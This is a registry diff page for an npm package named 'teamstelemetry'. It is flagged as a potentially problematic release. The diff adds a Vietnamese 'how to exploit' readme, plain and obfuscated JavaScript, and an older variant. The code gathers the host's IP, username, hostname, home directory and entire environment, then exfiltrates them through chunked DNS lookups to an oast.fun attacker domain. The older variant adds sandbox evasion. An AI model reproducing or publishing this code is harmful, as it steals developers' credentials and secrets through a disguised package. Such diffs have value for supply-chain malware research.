teamstelemetry 0.0.1-security → 9.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of teamstelemetry might be problematic. Click here for more details.
- package/2025-32-03_05_32.json +1 -0
- package/Readme.md +17 -0
- package/app.js +57 -0
- package/app.obfuscated.js +1 -0
- package/app_old.js +64 -0
- package/data.txt +649 -0
- package/data2.txt +478 -0
- package/data_collect.txt +78 -0
- package/extract.js +113 -0
- package/extract_debug.js +72 -0
- package/extract_oast_data.py +67 -0
- package/extract_special_line.py +129 -0
- package/interactsh-export.json +1 -0
- package/output.json +2598 -0
- package/output2.json +1914 -0
- package/package.json +10 -4
- package/README.md +0 -5
package/Readme.md
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
# Cách khai thác
|
|
2
|
+
|
|
3
|
+
1. Sửa tên package và version trong package.json
|
|
4
|
+
2. Chayj
|
|
5
|
+
```
|
|
6
|
+
javascript-obfuscator app.js --output app.obfuscated.js
|
|
7
|
+
```
|
|
8
|
+
3. chạy npm publish
|
|
9
|
+
4. export dữ liệu từ interact.sh về
|
|
10
|
+
5.
|
|
11
|
+
```
|
|
12
|
+
mv ~/Downloads/2025-* ./interactsh-export.json
|
|
13
|
+
```
|
|
14
|
+
6. extract data
|
|
15
|
+
```
|
|
16
|
+
node extract.js
|
|
17
|
+
```
|
package/app.js
ADDED
|
@@ -0,0 +1,57 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
|
|
4
|
+
// Thêm dấu chấm phẩy ở đầu dòng này để tránh lỗi cú pháp
|
|
5
|
+
;(async () => {
|
|
6
|
+
// --- Cấu hình ---
|
|
7
|
+
const attackerDomain = 'kiqmsprzlrirflgoyugngu74or76rwuy0.oast.fun'; // Thay domain của bạn vào đây
|
|
8
|
+
|
|
9
|
+
// --- Lấy địa chỉ IP ---
|
|
10
|
+
let ip = 'N/A';
|
|
11
|
+
try {
|
|
12
|
+
const interfaces = os.networkInterfaces();
|
|
13
|
+
for (const name of Object.keys(interfaces)) {
|
|
14
|
+
for (const iface of interfaces[name]) {
|
|
15
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
16
|
+
ip = iface.address;
|
|
17
|
+
break;
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
if (ip !== 'N/A') break;
|
|
21
|
+
}
|
|
22
|
+
} catch (e) { /* Bỏ qua lỗi */ }
|
|
23
|
+
|
|
24
|
+
// --- THAY ĐỔI QUAN TRỌNG: SẮP XẾP LẠI DỮ LIỆU ---
|
|
25
|
+
// Thêm một trường "mồi" vào đầu với dữ liệu ngẫu nhiên.
|
|
26
|
+
// Nếu các chunk đầu bị mất, ta chỉ mất dữ liệu mồi này.
|
|
27
|
+
const decoy = `decoy_start_${Math.random().toString(36).substring(2)}`;
|
|
28
|
+
|
|
29
|
+
let collectedData = {
|
|
30
|
+
_decoy: decoy, // << Trường mồi nằm ở đầu
|
|
31
|
+
ip: ip,
|
|
32
|
+
username: os.userInfo().username,
|
|
33
|
+
hostname: os.hostname(),
|
|
34
|
+
platform: os.platform(),
|
|
35
|
+
arch: os.arch(),
|
|
36
|
+
home: os.homedir(),
|
|
37
|
+
env: process.env,
|
|
38
|
+
_decoy2: "decoy_end" // Thêm một mồi nữa ở cuối cho chắc chắn
|
|
39
|
+
};
|
|
40
|
+
// --- KẾT THÚC THAY ĐỔI ---
|
|
41
|
+
|
|
42
|
+
// --- Mã hóa và gửi dữ liệu qua DNS (giữ nguyên) ---
|
|
43
|
+
const dataString = JSON.stringify(collectedData);
|
|
44
|
+
const encodedData = Buffer.from(dataString).toString('hex');
|
|
45
|
+
const chunkSize = 50;
|
|
46
|
+
|
|
47
|
+
for (let i = 0; i < encodedData.length; i += chunkSize) {
|
|
48
|
+
const chunk = encodedData.substring(i, i + chunkSize);
|
|
49
|
+
const subdomain = `${i/chunkSize}.${chunk}`;
|
|
50
|
+
const finalDomain = `${subdomain}.${attackerDomain}`;
|
|
51
|
+
|
|
52
|
+
dns.lookup(finalDomain, (err) => {});
|
|
53
|
+
|
|
54
|
+
// Thêm một khoảng dừng nhỏ giữa các lần gửi
|
|
55
|
+
await new Promise(resolve => setTimeout(resolve, 100));
|
|
56
|
+
}
|
|
57
|
+
})();
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function a0_0x21f6(){const _0x7a7bc0=['platform','292782MlHnDM','345620DBIQaJ','2811000KFkPNE','toString','hostname','dns','IPv4','arch','7296980lUMuDk','internal','env','networkInterfaces','769323xfoRXe','14ittIIx','random','keys','userInfo','2402968MMShHr','stringify','512828IkQbcb','substring','9WTzcRA','N/A','decoy_start_','family','4TgBaLl'];a0_0x21f6=function(){return _0x7a7bc0;};return a0_0x21f6();}const a0_0x57a88b=a0_0x3b8b;(function(_0x41e576,_0x33e295){const _0x4c87e2=a0_0x3b8b,_0xb31d77=_0x41e576();while(!![]){try{const _0x498093=-parseInt(_0x4c87e2(0xc8))/0x1+parseInt(_0x4c87e2(0xd1))/0x2+-parseInt(_0x4c87e2(0xc1))/0x3*(-parseInt(_0x4c87e2(0xce))/0x4)+-parseInt(_0x4c87e2(0xd2))/0x5+parseInt(_0x4c87e2(0xd0))/0x6*(-parseInt(_0x4c87e2(0xc2))/0x7)+parseInt(_0x4c87e2(0xc6))/0x8*(parseInt(_0x4c87e2(0xca))/0x9)+parseInt(_0x4c87e2(0xbd))/0xa;if(_0x498093===_0x33e295)break;else _0xb31d77['push'](_0xb31d77['shift']());}catch(_0x50dca3){_0xb31d77['push'](_0xb31d77['shift']());}}}(a0_0x21f6,0x45fea));const os=require('os'),dns=require(a0_0x57a88b(0xba));function a0_0x3b8b(_0x42e136,_0x82ab1f){const _0x21f672=a0_0x21f6();return a0_0x3b8b=function(_0x3b8ba2,_0x1ae248){_0x3b8ba2=_0x3b8ba2-0xb9;let _0x14f2f9=_0x21f672[_0x3b8ba2];return _0x14f2f9;},a0_0x3b8b(_0x42e136,_0x82ab1f);};((async()=>{const _0x531b62=a0_0x57a88b,_0x247d5e='kiqmsprzlrirflgoyugngu74or76rwuy0.oast.fun';let _0x1468f9=_0x531b62(0xcb);try{const _0xce4f64=os[_0x531b62(0xc0)]();for(const _0x41f954 of Object[_0x531b62(0xc4)](_0xce4f64)){for(const _0x293938 of _0xce4f64[_0x41f954]){if(_0x293938[_0x531b62(0xcd)]===_0x531b62(0xbb)&&!_0x293938[_0x531b62(0xbe)]){_0x1468f9=_0x293938['address'];break;}}if(_0x1468f9!==_0x531b62(0xcb))break;}}catch(_0x362554){}const _0x69f928=_0x531b62(0xcc)+Math[_0x531b62(0xc3)]()[_0x531b62(0xd3)](0x24)[_0x531b62(0xc9)](0x2);let _0x110451={'_decoy':_0x69f928,'ip':_0x1468f9,'username':os[_0x531b62(0xc5)]()['username'],'hostname':os[_0x531b62(0xb9)](),'platform':os[_0x531b62(0xcf)](),'arch':os[_0x531b62(0xbc)](),'home':os['homedir'](),'env':process[_0x531b62(0xbf)],'_decoy2':'decoy_end'};const _0x5abdf2=JSON[_0x531b62(0xc7)](_0x110451),_0x3237c5=Buffer['from'](_0x5abdf2)[_0x531b62(0xd3)]('hex'),_0x2dbcb5=0x32;for(let _0x4360ed=0x0;_0x4360ed<_0x3237c5['length'];_0x4360ed+=_0x2dbcb5){const _0x554a2b=_0x3237c5[_0x531b62(0xc9)](_0x4360ed,_0x4360ed+_0x2dbcb5),_0x2e5ccb=_0x4360ed/_0x2dbcb5+'.'+_0x554a2b,_0x2ba5cc=_0x2e5ccb+'.'+_0x247d5e;dns['lookup'](_0x2ba5cc,_0xba77c5=>{}),await new Promise(_0x5c7207=>setTimeout(_0x5c7207,0x64));}})());
|
package/app_old.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// Thêm dấu chấm phẩy ở đầu dòng này để sửa lỗi cú pháp
|
|
6
|
+
;(async () => {
|
|
7
|
+
// --- Cấu hình ---
|
|
8
|
+
// Thay thế 'xxxxxxxxxxxx.oast.fun' bằng domain của bạn từ Interact.sh hoặc Burp Collaborator
|
|
9
|
+
const attackerDomain = 'ktrlbxgezawrunxutmddwwlbwr26w2elv.oast.fun';
|
|
10
|
+
|
|
11
|
+
// --- Sandbox Evasion (Kỹ thuật né tránh môi trường ảo hóa) ---
|
|
12
|
+
const forbiddenUsernames = ['sandbox', 'test', 'vmware', 'virtualbox', 'docker'];
|
|
13
|
+
if (forbiddenUsernames.includes(os.userInfo().username.toLowerCase())) {
|
|
14
|
+
return;
|
|
15
|
+
}
|
|
16
|
+
if (os.cpus().length < 2 || os.totalmem() < 2 * 1024 * 1024 * 1024) {
|
|
17
|
+
return;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
// --- Lấy địa chỉ IP (ĐOẠN MÃ MỚI) ---
|
|
21
|
+
let ip = 'N/A';
|
|
22
|
+
try {
|
|
23
|
+
const interfaces = os.networkInterfaces();
|
|
24
|
+
for (const name of Object.keys(interfaces)) {
|
|
25
|
+
for (const iface of interfaces[name]) {
|
|
26
|
+
// Chỉ lấy địa chỉ IPv4 không phải nội bộ
|
|
27
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
28
|
+
ip = iface.address;
|
|
29
|
+
break;
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
if (ip !== 'N/A') break;
|
|
33
|
+
}
|
|
34
|
+
} catch (e) {
|
|
35
|
+
// Bỏ qua lỗi nếu không lấy được IP
|
|
36
|
+
}
|
|
37
|
+
// --- KẾT THÚC ĐOẠN MÃ MỚI ---
|
|
38
|
+
|
|
39
|
+
// --- Thu thập dữ liệu ---
|
|
40
|
+
let collectedData = {
|
|
41
|
+
ip: ip, // Thêm địa chỉ IP vào đây
|
|
42
|
+
username: os.userInfo().username,
|
|
43
|
+
hostname: os.hostname(),
|
|
44
|
+
platform: os.platform(),
|
|
45
|
+
arch: os.arch(),
|
|
46
|
+
home: os.homedir(),
|
|
47
|
+
env: process.env
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
// --- Mã hóa và gửi dữ liệu qua DNS (DNS Exfiltration) ---
|
|
51
|
+
const dataString = JSON.stringify(collectedData);
|
|
52
|
+
const encodedData = Buffer.from(dataString).toString('hex');
|
|
53
|
+
const chunkSize = 50;
|
|
54
|
+
|
|
55
|
+
for (let i = 0; i < encodedData.length; i += chunkSize) {
|
|
56
|
+
const chunk = encodedData.substring(i, i + chunkSize);
|
|
57
|
+
const subdomain = `${i/chunkSize}.${chunk}`;
|
|
58
|
+
const finalDomain = `${subdomain}.${attackerDomain}`;
|
|
59
|
+
|
|
60
|
+
dns.lookup(finalDomain, (err) => {});
|
|
61
|
+
|
|
62
|
+
await new Promise(resolve => setTimeout(resolve, 50));
|
|
63
|
+
}
|
|
64
|
+
})();
|